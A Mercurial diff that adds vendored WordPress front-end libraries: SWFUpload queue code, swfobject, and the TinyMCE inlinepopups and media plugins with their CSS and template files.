b;if(typeof(this.queueSettings.user_upload_start_handler)==="function"){b=this.queueSettings.user_upload_start_handler.call(this,a)}b=(b===false)?false:true;this.queueSettings.queue_cancelled_flag=!b;return b};SWFUpload.queue.uploadCompleteHandler=function(b){var c=this.queueSettings.user_upload_complete_handler,d,a;if(b.filestatus===SWFUpload.FILE_STATUS.COMPLETE){this.queueSettings.queue_upload_count++}if(typeof(c)==="function"){d=(c.call(this,b)===false)?false:true}else{if(b.filestatus===SWFUpload.FILE_STATUS.QUEUED){d=false}else{d=true}}if(d){a=this.getStats();if(a.files_queued>0&&this.queueSettings.queue_cancelled_flag===false){this.startUpload()}else{if(this.queueSettings.queue_cancelled_flag===false){this.queueEvent("queue_complete_handler",[this.queueSettings.queue_upload_count]);this.queueSettings.queue_upload_count=0}else{this.queueSettings.queue_cancelled_flag=false;this.queueSettings.queue_upload_count=0}}}}}; +// swfobject +var swfobject=function(){var b="undefined",Q="object",n="Shockwave Flash",p="ShockwaveFlash.ShockwaveFlash",P="application/x-shockwave-flash",m="SWFObjectExprInst",j=window,K=document,T=navigator,o=[],N=[],i=[],d=[],J,Z=null,M=null,l=null,e=false,A=false;var h=function(){var v=typeof K.getElementById!=b&&typeof K.getElementsByTagName!=b&&typeof K.createElement!=b,AC=[0,0,0],x=null;if(typeof T.plugins!=b&&typeof T.plugins[n]==Q){x=T.plugins[n].description;if(x&&!(typeof T.mimeTypes!=b&&T.mimeTypes[P]&&!T.mimeTypes[P].enabledPlugin)){x=x.replace(/^.*\s+(\S+\s+\S+$)/,"$1");AC[0]=parseInt(x.replace(/^(.*)\..*$/,"$1"),10);AC[1]=parseInt(x.replace(/^.*\.(.*)\s.*$/,"$1"),10);AC[2]=/r/.test(x)?parseInt(x.replace(/^.*r(.*)$/,"$1"),10):0}}else{if(typeof j.ActiveXObject!=b){var y=null,AB=false;try{y=new ActiveXObject(p+".7")}catch(t){try{y=new ActiveXObject(p+".6");AC=[6,0,21];y.AllowScriptAccess="always"}catch(t){if(AC[0]==6){AB=true}}if(!AB){try{y=new ActiveXObject(p)}catch(t){}}}if(!AB&&y){try{x=y.GetVariable("$version");if(x){x=x.split(" ")[1].split(",");AC=[parseInt(x[0],10),parseInt(x[1],10),parseInt(x[2],10)]}}catch(t){}}}}var AD=T.userAgent.toLowerCase(),r=T.platform.toLowerCase(),AA=/webkit/.test(AD)?parseFloat(AD.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,q=false,z=r?/win/.test(r):/win/.test(AD),w=r?/mac/.test(r):/mac/.test(AD);/*@cc_on q=true;@if(@_win32)z=true;@elif(@_mac)w=true;@end@*/return{w3cdom:v,pv:AC,webkit:AA,ie:q,win:z,mac:w}}();var L=function(){if(!h.w3cdom){return }f(H);if(h.ie&&h.win){try{K.write(" + + + +
    + +
    + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(){var d=tinymce.DOM,b=tinymce.dom.Element,a=tinymce.dom.Event,e=tinymce.each,c=tinymce.is;tinymce.create("tinymce.plugins.InlinePopups",{init:function(f,g){f.onBeforeRenderUI.add(function(){f.windowManager=new tinymce.InlineWindowManager(f);d.loadCSS(g+"/skins/"+(f.settings.inlinepopups_skin||"clearlooks2")+"/window.css")})},getInfo:function(){return{longname:"InlinePopups",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/inlinepopups",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.create("tinymce.InlineWindowManager:tinymce.WindowManager",{InlineWindowManager:function(f){var g=this;g.parent(f);g.zIndex=300000;g.count=0;g.windows={}},open:function(r,j){var y=this,i,k="",q=y.editor,g=0,s=0,h,m,n,o,l,v,x;r=r||{};j=j||{};if(!r.inline){return y.parent(r,j)}if(!r.type){y.bookmark=q.selection.getBookmark(1)}i=d.uniqueId();h=d.getViewPort();r.width=parseInt(r.width||320);r.height=parseInt(r.height||240)+(tinymce.isIE?8:0);r.min_width=parseInt(r.min_width||150);r.min_height=parseInt(r.min_height||100);r.max_width=parseInt(r.max_width||2000);r.max_height=parseInt(r.max_height||2000);r.left=r.left||Math.round(Math.max(h.x,h.x+(h.w/2)-(r.width/2)));r.top=r.top||Math.round(Math.max(h.y,h.y+(h.h/2)-(r.height/2)));r.movable=r.resizable=true;j.mce_width=r.width;j.mce_height=r.height;j.mce_inline=true;j.mce_window_id=i;j.mce_auto_focus=r.auto_focus;y.features=r;y.params=j;y.onOpen.dispatch(y,r,j);if(r.type){k+=" mceModal";if(r.type){k+=" mce"+r.type.substring(0,1).toUpperCase()+r.type.substring(1)}r.resizable=false}if(r.statusbar){k+=" mceStatusbar"}if(r.resizable){k+=" mceResizable"}if(r.minimizable){k+=" mceMinimizable"}if(r.maximizable){k+=" mceMaximizable"}if(r.movable){k+=" mceMovable"}y._addAll(d.doc.body,["div",{id:i,"class":q.settings.inlinepopups_skin||"clearlooks2",style:"width:100px;height:100px"},["div",{id:i+"_wrapper","class":"mceWrapper"+k},["div",{id:i+"_top","class":"mceTop"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_title"},r.title||""]],["div",{id:i+"_middle","class":"mceMiddle"},["div",{id:i+"_left","class":"mceLeft"}],["span",{id:i+"_content"}],["div",{id:i+"_right","class":"mceRight"}]],["div",{id:i+"_bottom","class":"mceBottom"},["div",{"class":"mceLeft"}],["div",{"class":"mceCenter"}],["div",{"class":"mceRight"}],["span",{id:i+"_status"},"Content"]],["a",{"class":"mceMove",tabindex:"-1",href:"javascript:;"}],["a",{"class":"mceMin",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMax",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceMed",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{"class":"mceClose",tabindex:"-1",href:"javascript:;",onmousedown:"return false;"}],["a",{id:i+"_resize_n","class":"mceResize mceResizeN",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_s","class":"mceResize mceResizeS",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_w","class":"mceResize mceResizeW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_e","class":"mceResize mceResizeE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_nw","class":"mceResize mceResizeNW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_ne","class":"mceResize mceResizeNE",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_sw","class":"mceResize mceResizeSW",tabindex:"-1",href:"javascript:;"}],["a",{id:i+"_resize_se","class":"mceResize mceResizeSE",tabindex:"-1",href:"javascript:;"}]]]);d.setStyles(i,{top:-10000,left:-10000});if(tinymce.isGecko){d.setStyle(i,"overflow","auto")}if(!r.type){g+=d.get(i+"_left").clientWidth;g+=d.get(i+"_right").clientWidth;s+=d.get(i+"_top").clientHeight;s+=d.get(i+"_bottom").clientHeight}d.setStyles(i,{top:r.top,left:r.left,width:r.width+g,height:r.height+s});x=r.url||r.file;if(x){if(tinymce.relaxedDomain){x+=(x.indexOf("?")==-1?"?":"&")+"mce_rdomain="+tinymce.relaxedDomain}x=tinymce._addVer(x)}if(!r.type){d.add(i+"_content","iframe",{id:i+"_ifr",src:'javascript:""',frameBorder:0,style:"border:0;width:10px;height:10px"});d.setStyles(i+"_ifr",{width:r.width,height:r.height});d.setAttrib(i+"_ifr","src",x)}else{d.add(i+"_wrapper","a",{id:i+"_ok","class":"mceButton mceOk",href:"javascript:;",onmousedown:"return false;"},"Ok");if(r.type=="confirm"){d.add(i+"_wrapper","a",{"class":"mceButton mceCancel",href:"javascript:;",onmousedown:"return false;"},"Cancel")}d.add(i+"_middle","div",{"class":"mceIcon"});d.setHTML(i+"_content",r.content.replace("\n","
    "))}n=a.add(i,"mousedown",function(t){var u=t.target,f,p;f=y.windows[i];y.focus(i);if(u.nodeName=="A"||u.nodeName=="a"){if(u.className=="mceMax"){f.oldPos=f.element.getXY();f.oldSize=f.element.getSize();p=d.getViewPort();p.w-=2;p.h-=2;f.element.moveTo(p.x,p.y);f.element.resizeTo(p.w,p.h);d.setStyles(i+"_ifr",{width:p.w-f.deltaWidth,height:p.h-f.deltaHeight});d.addClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMed"){f.element.moveTo(f.oldPos.x,f.oldPos.y);f.element.resizeTo(f.oldSize.w,f.oldSize.h);f.iframeElement.resizeTo(f.oldSize.w-f.deltaWidth,f.oldSize.h-f.deltaHeight);d.removeClass(i+"_wrapper","mceMaximized")}else{if(u.className=="mceMove"){return y._startDrag(i,t,u.className)}else{if(d.hasClass(u,"mceResize")){return y._startDrag(i,t,u.className.substring(13))}}}}}});o=a.add(i,"click",function(f){var p=f.target;y.focus(i);if(p.nodeName=="A"||p.nodeName=="a"){switch(p.className){case"mceClose":y.close(null,i);return a.cancel(f);case"mceButton mceOk":case"mceButton mceCancel":r.button_func(p.className=="mceButton mceOk");return a.cancel(f)}}});v=y.windows[i]={id:i,mousedown_func:n,click_func:o,element:new b(i,{blocker:1,container:q.getContainer()}),iframeElement:new b(i+"_ifr"),features:r,deltaWidth:g,deltaHeight:s};v.iframeElement.on("focus",function(){y.focus(i)});if(y.count==0&&y.editor.getParam("dialog_type","modal")=="modal"){d.add(d.doc.body,"div",{id:"mceModalBlocker","class":(y.editor.settings.inlinepopups_skin||"clearlooks2")+"_modalBlocker",style:{zIndex:y.zIndex-1}});d.show("mceModalBlocker")}else{d.setStyle("mceModalBlocker","z-index",y.zIndex-1)}if(tinymce.isIE6||/Firefox\/2\./.test(navigator.userAgent)||(tinymce.isIE&&!d.boxModel)){d.setStyles("mceModalBlocker",{position:"absolute",left:h.x,top:h.y,width:h.w-2,height:h.h-2})}y.focus(i);y._fixIELayout(i,1);if(d.get(i+"_ok")){d.get(i+"_ok").focus()}y.count++;return v},focus:function(h){var g=this,f;if(f=g.windows[h]){f.zIndex=this.zIndex++;f.element.setStyle("zIndex",f.zIndex);f.element.update();h=h+"_wrapper";d.removeClass(g.lastId,"mceFocus");d.addClass(h,"mceFocus");g.lastId=h}},_addAll:function(k,h){var g,l,f=this,j=tinymce.DOM;if(c(h,"string")){k.appendChild(j.doc.createTextNode(h))}else{if(h.length){k=k.appendChild(j.create(h[0],h[1]));for(g=2;gf){i=m;f=m.zIndex}});if(i){h.focus(i.id)}}},setTitle:function(f,g){var h;f=this._findId(f);if(h=d.get(f+"_title")){h.innerHTML=d.encode(g)}},alert:function(g,f,j){var i=this,h;h=i.open({title:i,type:"alert",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},confirm:function(g,f,j){var i=this,h;h=i.open({title:i,type:"confirm",button_func:function(k){if(f){f.call(k||i,k)}i.close(null,h.id)},content:d.encode(i.editor.getLang(g,g)),inline:1,width:400,height:130})},_findId:function(f){var g=this;if(typeof(f)=="string"){return f}e(g.windows,function(h){var i=d.get(h.id+"_ifr");if(i&&f==i.contentWindow){f=h.id;return false}});return f},_fixIELayout:function(i,h){var f,g;if(!tinymce.isIE6){return}e(["n","s","w","e","nw","ne","sw","se"],function(j){var k=d.get(i+"_resize_"+j);d.setStyles(k,{width:h?k.clientWidth:"",height:h?k.clientHeight:"",cursor:d.getStyle(k,"cursor",1)});d.setStyle(i+"_bottom","bottom","-1px");k=0});if(f=this.windows[i]){f.element.hide();f.element.show();e(d.select("div,a",i),function(k,j){if(k.currentStyle.backgroundImage!="none"){g=new Image();g.src=k.currentStyle.backgroundImage.replace(/url\(\"(.+)\"\)/,"$1")}});d.get(i).style.filter=""}}});tinymce.PluginManager.add("inlinepopups",tinymce.plugins.InlinePopups)})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif Binary file web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/button.gif Binary file web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/button.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif Binary file web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif Binary file web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif Binary file web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/drag.gif Binary file web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/drag.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif Binary file web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif Binary file web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/window.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/window.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,125 @@ +/* Clearlooks 2 */ +/* Reset */ +.clearlooks2, .clearlooks2 div, .clearlooks2 span, .clearlooks2 a {vertical-align:baseline; text-align:left; position:absolute; border:0; padding:0; margin:0; background:transparent; font-family:Arial,Verdana; font-size:11px; color:#000; text-decoration:none; font-weight:normal; width:auto; height:auto; overflow:hidden; display:block;} + +/* General */ +.clearlooks2 {position:absolute; direction:ltr} +.clearlooks2 .mceWrapper {position:static} +.mceEventBlocker {position:fixed; left:0; top:0; background:url(img/horizontal.gif) no-repeat 0 -75px; width:100%; height:100%} +.clearlooks2 .mcePlaceHolder {border:1px solid #000; background:#888; top:0; left:0; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50)} +.clearlooks2_modalBlocker {position:fixed; left:0; top:0; width:100%; height:100%; background:#FFF; opacity:0.6; -ms-filter:'alpha(opacity=60)'; filter:alpha(opacity=60); display:none} + +/* Top */ +.clearlooks2 .mceTop, +.clearlooks2 .mceTop div { + top:0; + width:100%; + height:23px +} +.clearlooks2 .mceTop .mceLeft { + width:55%; + background-image: none; + border-style: solid none none solid; + border-width: 1px; +} +.clearlooks2 .mceTop .mceCenter { +} +.clearlooks2 .mceTop .mceRight { + right:0; + width:55%; + height:23px; + background-image: none; + border-style: solid solid none none; + border-width: 1px; +} +.clearlooks2 .mceTop span { + width:100%; + font: 12px/20px bold "Lucida Grande","Lucida Sans Unicode",Tahoma,Verdana,sans-serif; + text-align:center; + vertical-align:middle; + line-height:23px; + font-weight:bold; +} +.clearlooks2 .mceFocus .mceTop .mceLeft { + background-image: none; + border-style: solid none none solid; + border-width: 1px; +} +.clearlooks2 .mceFocus .mceTop .mceCenter { +} +.clearlooks2 .mceFocus .mceTop .mceRight { + background-image: none; + border-style: solid solid none none; + border-width: 1px; +} +.clearlooks2 .mceFocus .mceTop span { +color:#FFF +} + +/* Middle */ +.clearlooks2 .mceMiddle, .clearlooks2 .mceMiddle div {top:0} +.clearlooks2 .mceMiddle {width:100%; height:100%; clip:rect(23px auto auto auto)} +.clearlooks2 .mceMiddle .mceLeft {left:0; width:5px; height:100%; background:#E4F2FD;border-left:1px solid #c6d9e9} +.clearlooks2 .mceMiddle span {top:23px; left:5px; width:100%; height:100%; background:#FFF} +.clearlooks2 .mceMiddle .mceRight {right:0; width:5px; height:100%; background:#E4F2FD;border-right:1px solid #c6d9e9} + +/* Bottom */ +.clearlooks2 .mceBottom, .clearlooks2 .mceBottom div {height:6px} +.clearlooks2 .mceBottom {left:0; bottom:0; width:100%;background:#E4F2FD;border-bottom:1px solid #c6d9e9} +.clearlooks2 .mceBottom div {top:0} +.clearlooks2 .mceBottom .mceLeft {left:0; width:5px; background:#E4F2FD ;border-left:1px solid #c6d9e9} +.clearlooks2 .mceBottom .mceCenter {left:5px; width:100%} +.clearlooks2 .mceBottom .mceRight {right:0; width:6px; background:#E4F2FD url(img/drag.gif) no-repeat;border-right:1px solid #c6d9e9} +.clearlooks2 .mceBottom span {display:none} +.clearlooks2 .mceStatusbar .mceBottom, .clearlooks2 .mceStatusbar .mceBottom div {height:23px} +.clearlooks2 .mceStatusbar .mceBottom .mceLeft {background:url(img/corners.gif) -29px 0} +.clearlooks2 .mceStatusbar .mceBottom .mceCenter {background:url(img/horizontal.gif) 0 -52px} +.clearlooks2 .mceStatusbar .mceBottom .mceRight {background:url(img/corners.gif) -24px 0} +.clearlooks2 .mceStatusbar .mceBottom span {display:block; left:7px; font-family:Arial, Verdana; font-size:11px; line-height:23px} + +/* Actions */ +.clearlooks2 a {width:29px; height:16px; top:3px} +.clearlooks2 .mceClose {right:6px; background:url(img/buttons.gif) -87px 0} +.clearlooks2 .mceMin {display:none; right:68px; background:url(img/buttons.gif) 0 0} +.clearlooks2 .mceMed {display:none; right:37px; background:url(img/buttons.gif) -29px 0} +.clearlooks2 .mceMax {display:none; right:37px; background:url(img/buttons.gif) -58px 0} +.clearlooks2 .mceMove {display:none;width:100%;cursor:move;background:url(img/corners.gif) no-repeat -100px -100px} +.clearlooks2 .mceMovable .mceMove {display:block} +.clearlooks2 .mceFocus .mceClose {right:6px; background:url(img/buttons.gif) -87px -16px} +.clearlooks2 .mceFocus .mceMin {right:68px; background:url(img/buttons.gif) 0 -16px} +.clearlooks2 .mceFocus .mceMed {right:37px; background:url(img/buttons.gif) -29px -16px} +.clearlooks2 .mceFocus .mceMax {right:37px; background:url(img/buttons.gif) -58px -16px} +.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px} +.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px} +.clearlooks2 .mceFocus .mceMin:hover {right:68px; background:url(img/buttons.gif) 0 -32px} +.clearlooks2 .mceFocus .mceMed:hover {right:37px; background:url(img/buttons.gif) -29px -32px} +.clearlooks2 .mceFocus .mceMax:hover {right:37px; background:url(img/buttons.gif) -58px -32px} + +/* Resize */ +.clearlooks2 .mceResize {top:auto; left:auto; display:none; width:5px; height:5px; background:url(img/horizontal.gif) no-repeat 0 -75px} +.clearlooks2 .mceResizable .mceResize {display:block} +.clearlooks2 .mceResizable .mceMin, .clearlooks2 .mceMax {display:none} +.clearlooks2 .mceMinimizable .mceMin {display:block} +.clearlooks2 .mceMaximizable .mceMax {display:block} +.clearlooks2 .mceMaximized .mceMed {display:block} +.clearlooks2 .mceMaximized .mceMax {display:none} +.clearlooks2 a.mceResizeN {top:0; left:0; width:100%; cursor:n-resize} +.clearlooks2 a.mceResizeNW {top:0; left:0; cursor:nw-resize} +.clearlooks2 a.mceResizeNE {top:0; right:0; cursor:ne-resize} +.clearlooks2 a.mceResizeW {top:0; left:0; height:100%; cursor:w-resize} +.clearlooks2 a.mceResizeE {top:0; right:0; height:100%; cursor:e-resize} +.clearlooks2 a.mceResizeS {bottom:0; left:0; width:100%; cursor:s-resize} +.clearlooks2 a.mceResizeSW {bottom:0; left:0; cursor:sw-resize} +.clearlooks2 a.mceResizeSE {bottom:0; right:0; cursor:se-resize} + +/* Alert/Confirm */ +.clearlooks2 .mceButton {font-weight:bold; bottom:10px; width:80px; height:30px; background:url(img/button.gif); line-height:30px; vertical-align:middle; text-align:center; outline:0} +.clearlooks2 .mceMiddle .mceIcon {left:15px; top:35px; width:32px; height:32px} +.clearlooks2 .mceAlert .mceMiddle span, .clearlooks2 .mceConfirm .mceMiddle span {background:transparent;left:60px; top:35px; width:320px; height:50px; font-weight:bold; overflow:auto; white-space:normal} +.clearlooks2 a:hover {font-weight:bold} +.clearlooks2 .mceAlert .mceMiddle, .clearlooks2 .mceConfirm .mceMiddle {background:#E4F2FD} +.clearlooks2 .mceAlert .mceOk {left:50%; top:auto; margin-left: -40px} +.clearlooks2 .mceAlert .mceIcon {background:url(img/alert.gif)} +.clearlooks2 .mceConfirm .mceOk {left:50%; top:auto; margin-left: -90px} +.clearlooks2 .mceConfirm .mceCancel {left:50%; top:auto} +.clearlooks2 .mceConfirm .mceIcon {background:url(img/confirm.gif)} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/inlinepopups/template.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/inlinepopups/template.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,387 @@ + + + +Template for dialogs + + + + +
    +
    +
    +
    +
    +
    +
    + Blured +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Focused +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Statusbar +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Statusbar, Resizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Resizable, Maximizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Blurred, Maximizable, Statusbar, Resizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Maximized, Maximizable, Minimizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Blured +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Alert +
    + +
    +
    + + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + +
    +
    +
    + +
    +
    +
    +
    +
    + + + Ok + +
    +
    + +
    +
    +
    +
    +
    +
    + Confirm +
    + +
    +
    + + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + +
    +
    +
    + +
    +
    +
    +
    +
    + + + Ok + Cancel + +
    +
    +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/media/css/content.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/media/css/content.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ +.mceItemFlash, .mceItemShockWave, .mceItemQuickTime, .mceItemWindowsMedia, .mceItemRealMedia {border:1px dotted #cc0000; background-position:center; background-repeat:no-repeat; background-color:#ffffcc;} +.mceItemShockWave {background-image: url(../img/shockwave.gif);} +.mceItemFlash {background-image:url(../img/flash.gif);} +.mceItemQuickTime {background-image:url(../img/quicktime.gif);} +.mceItemWindowsMedia {background-image:url(../img/windowsmedia.gif);} +.mceItemRealMedia {background-image:url(../img/realmedia.gif);} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/media/css/media.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/media/css/media.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,16 @@ +#id, #name, #hspace, #vspace, #class_name, #align { width: 100px } +#hspace, #vspace { width: 50px } +#flash_quality, #flash_align, #flash_scale, #flash_salign, #flash_wmode { width: 100px } +#flash_base, #flash_flashvars { width: 240px } +#width, #height { width: 40px } +#src, #media_type { width: 250px } +#class { width: 120px } +#prev { margin: 0; border: 1px solid black; width: 380px; height: 230px; overflow: auto } +.panel_wrapper div.current { height: 390px; overflow: auto } +#flash_options, #shockwave_options, #qt_options, #wmp_options, #rmp_options { display: none } +.mceAddSelectValue { background-color: #DDDDDD } +#qt_starttime, #qt_endtime, #qt_fov, #qt_href, #qt_moveid, #qt_moviename, #qt_node, #qt_pan, #qt_qtsrc, #qt_qtsrcchokespeed, #qt_target, #qt_tilt, #qt_urlsubstituten, #qt_volume { width: 70px } +#wmp_balance, #wmp_baseurl, #wmp_captioningid, #wmp_currentmarker, #wmp_currentposition, #wmp_defaultframe, #wmp_playcount, #wmp_rate, #wmp_uimode, #wmp_volume { width: 70px } +#rmp_console, #rmp_numloop, #rmp_controls, #rmp_scriptcallbacks { width: 70px } +#shockwave_swvolume, #shockwave_swframe, #shockwave_swurl, #shockwave_swstretchvalign, #shockwave_swstretchhalign, #shockwave_swstretchstyle { width: 90px } +#qt_qtsrc { width: 200px } diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/plugins/media/editor_plugin.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/plugins/media/editor_plugin.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.MediaPlugin",{init:function(b,c){var e=this;e.editor=b;e.url=c;function f(g){return/^(mceItemFlash|mceItemShockWave|mceItemWindowsMedia|mceItemQuickTime|mceItemRealMedia)$/.test(g.className)}b.onPreInit.add(function(){b.serializer.addRules("param[name|value|_mce_value]")});b.addCommand("mceMedia",function(){b.windowManager.open({file:c+"/media.htm",width:430+parseInt(b.getLang("media.delta_width",0)),height:470+parseInt(b.getLang("media.delta_height",0)),inline:1},{plugin_url:c})});b.addButton("media",{title:"media.desc",cmd:"mceMedia"});b.onNodeChange.add(function(h,g,i){g.setActive("media",i.nodeName=="IMG"&&f(i))});b.onInit.add(function(){var g={mceItemFlash:"flash",mceItemShockWave:"shockwave",mceItemWindowsMedia:"windowsmedia",mceItemQuickTime:"quicktime",mceItemRealMedia:"realmedia"};b.selection.onSetContent.add(function(){e._spansToImgs(b.getBody())});b.selection.onBeforeSetContent.add(e._objectsToSpans,e);if(b.settings.content_css!==false){b.dom.loadCSS(c+"/css/content.css")}if(b.theme&&b.theme.onResolveName){b.theme.onResolveName.add(function(h,i){if(i.name=="img"){a(g,function(l,j){if(b.dom.hasClass(i.node,j)){i.name=l;i.title=b.dom.getAttrib(i.node,"title");return false}})}})}if(b&&b.plugins.contextmenu){b.plugins.contextmenu.onContextMenu.add(function(i,h,j){if(j.nodeName=="IMG"&&/mceItem(Flash|ShockWave|WindowsMedia|QuickTime|RealMedia)/.test(j.className)){h.add({title:"media.edit",icon:"media",cmd:"mceMedia"})}})}});b.onBeforeSetContent.add(e._objectsToSpans,e);b.onSetContent.add(function(){e._spansToImgs(b.getBody())});b.onPreProcess.add(function(g,i){var h=g.dom;if(i.set){e._spansToImgs(i.node);a(h.select("IMG",i.node),function(k){var j;if(f(k)){j=e._parse(k.title);h.setAttrib(k,"width",h.getAttrib(k,"width",j.width||100));h.setAttrib(k,"height",h.getAttrib(k,"height",j.height||100))}})}if(i.get){a(h.select("IMG",i.node),function(m){var l,j,k;if(g.getParam("media_use_script")){if(f(m)){m.className=m.className.replace(/mceItem/g,"mceTemp")}return}switch(m.className){case"mceItemFlash":l="d27cdb6e-ae6d-11cf-96b8-444553540000";j="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0";k="application/x-shockwave-flash";break;case"mceItemShockWave":l="166b1bca-3f9c-11cf-8075-444553540000";j="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0";k="application/x-director";break;case"mceItemWindowsMedia":l=g.getParam("media_wmp6_compatible")?"05589fa1-c356-11ce-bf01-00aa0055595a":"6bf52a52-394a-11d3-b153-00c04f79faa6";j="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701";k="application/x-mplayer2";break;case"mceItemQuickTime":l="02bf25d5-8c17-4b23-bc80-d3488abddc6b";j="http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0";k="video/quicktime";break;case"mceItemRealMedia":l="cfcdaa03-8be4-11cf-b84b-0020afbbccfa";j="http://download.macromedia.com/pub/shockwave/cabs/flash